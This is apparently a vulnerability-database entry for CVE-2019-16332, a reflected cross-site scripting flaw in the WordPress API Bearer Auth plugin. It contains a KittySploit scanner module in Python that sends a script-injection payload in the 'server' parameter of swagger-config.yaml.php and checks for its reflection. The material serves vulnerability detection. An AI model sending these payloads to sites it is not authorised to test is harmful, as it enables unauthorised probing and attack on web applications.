WordPress API Bearer Auth <20190907 - Cross-Site Scripting Detection
| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| CVE-2019-16332 | 28 Nov 202414:32 | – | circl | |
| WordPress api-bearer-auth plugin cross-site scripting vulnerability | 17 Sep 201900:00 | – | cnvd | |
| CVE-2019-16332 | 15 Sep 201921:00 | – | cve | |
| CVE-2019-16332 | 15 Sep 201921:00 | – | cvelist | |
| WordPress API Bearer Auth <20190907 - Cross-Site Scripting | 16 Oct 202602:05 | – | nuclei | |
| CVE-2019-16332 | 15 Sep 201922:15 | – | nvd | |
| CVE-2019-16332 | 15 Sep 201922:15 | – | osv_cve | |
| Cross site scripting | 15 Sep 201922:15 | – | prion | |
| PT-2019-14631 | 15 Sep 201900:00 | – | ptsecurity | |
| CVE-2019-16332: Improper Neutralization of Input During Web Page Generation | 15 Sep 201900:00 | – | rapid7 |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""WordPress API Bearer Auth plugin before 20190907 contains a cross-site scripting vulnerability."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'WordPress API Bearer Auth <20190907 - Cross-Site Scripting Detection',
'description': 'WordPress API Bearer Auth plugin before 20190907 contains a cross-site scripting vulnerability. The server parameter is not correctly filtered in swagger-config.yaml.php.',
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'cve', 'cve2019', 'packetstorm', 'wordpress', 'xss', 'wp-plugin', 'auth', 'api_bearer_auth_project', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 2,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'risk_signal',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://plugins.trac.wordpress.org/changeset/2152730',
'https://wordpress.org/plugins/api-bearer-auth/#developers',
'https://nvd.nist.gov/vuln/detail/CVE-2019-16332',
'https://packetstormsecurity.com/files/154369/WordPress-API-Bearer-Auth-20181229-Cross-Site-Scripting.html',
'https://wpvulndb.com/vulnerabilities/9868',
],
'cve': 'CVE-2019-16332',
}
def run(self):
path = '/'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
body_any = ('/wp-content/plugins/api-bearer-auth/',)
if not (any(m in body for m in body_any)):
return False
path = '/wp-content/plugins/api-bearer-auth/swagger/swagger-config.yaml.php?&server=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
body_any = ('</script><script>alert(document.domain)</script>',)
header_any = ('text/html',)
if (any(m in body for m in body_any)) and (any(m in headers for m in header_any)):
self.set_info(severity='medium', reason='WordPress API Bearer Auth <20190907 - Cross-Site Scripting detected', path=path)
return True
return False
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28 Jul 2026 11:27Current
6.1Medium risk
Vulners AI Score6.1
CVSS 24.3
CVSS 3.16.1
EPSS0.05672